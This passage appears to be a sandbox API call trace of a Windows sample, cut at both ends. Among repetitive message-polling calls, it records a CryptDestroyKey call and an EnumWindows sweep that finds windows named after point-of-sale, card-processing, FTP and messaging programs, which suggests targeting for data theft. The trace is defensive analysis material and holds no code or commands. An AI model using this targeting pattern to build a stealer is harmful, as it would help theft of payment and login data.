lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0133.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0133.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1076e80, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0133.243] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDestroyKey") returned 0x75a70400 [0133.243] CryptDestroyKey (hKey=0x1015d40) returned 0 [0133.243] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.243] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.243] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.244] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.245] GetLastError () returned 0x57 [0133.245] SetLastError (dwErrCode=0x57) [0133.245] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.246] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.246] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0133.246] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f70 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077000 [0133.246] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0133.246] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0133.247] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.247] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0133.247] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.247] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0133.247] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.247] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.247] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.247] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.248] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.248] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.248] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.248] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.248] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.248] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.248] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.248] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.248] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.249] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.249] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.249] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.249] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.249] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.249] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.249] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0133.249] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0133.250] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0133.250] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.250] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.250] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.250] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0133.250] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.250] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0133.250] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.250] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.251] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.251] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.251] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.251] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.251] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0133.251] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0133.251] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.251] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.251] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.252] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0133.252] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0133.252] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0133.252] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.252] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.252] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.252] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0133.252] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.252] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.253] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.253] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0133.253] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0133.253] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0133.253] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.253] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.253] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.253] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.253] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.254] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.254] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0133.254] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.254] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.280] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.280] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0133.280] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0133.280] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0133.280] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0133.280] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0133.281] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0133.281] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0133.281] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0133.281] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0133.281] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0133.281] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Education") returned 9 [0133.281] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0133.281] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0133.282] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0133.282] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0133.282] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0133.282] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0133.282] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0133.282] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0133.282] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0133.282] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0133.283] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0133.283] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0133.283] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0133.283] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0133.283] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0133.283] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0133.283] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0133.284] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0133.284] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0133.284] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0133.284] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0133.284] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0133.284] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0133.284] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0133.285] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0133.285] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0133.285] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0133.285] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0133.285] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0133.285] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0133.287] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0133.287] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0133.287] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0133.287] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0133.287] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0133.287] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0133.288] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0133.288] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0133.288] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0133.288] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Skype") returned 5 [0133.288] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0133.288] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0133.288] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0133.288] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0133.289] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0133.289] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdead8, nMaxCount=1024 | out: 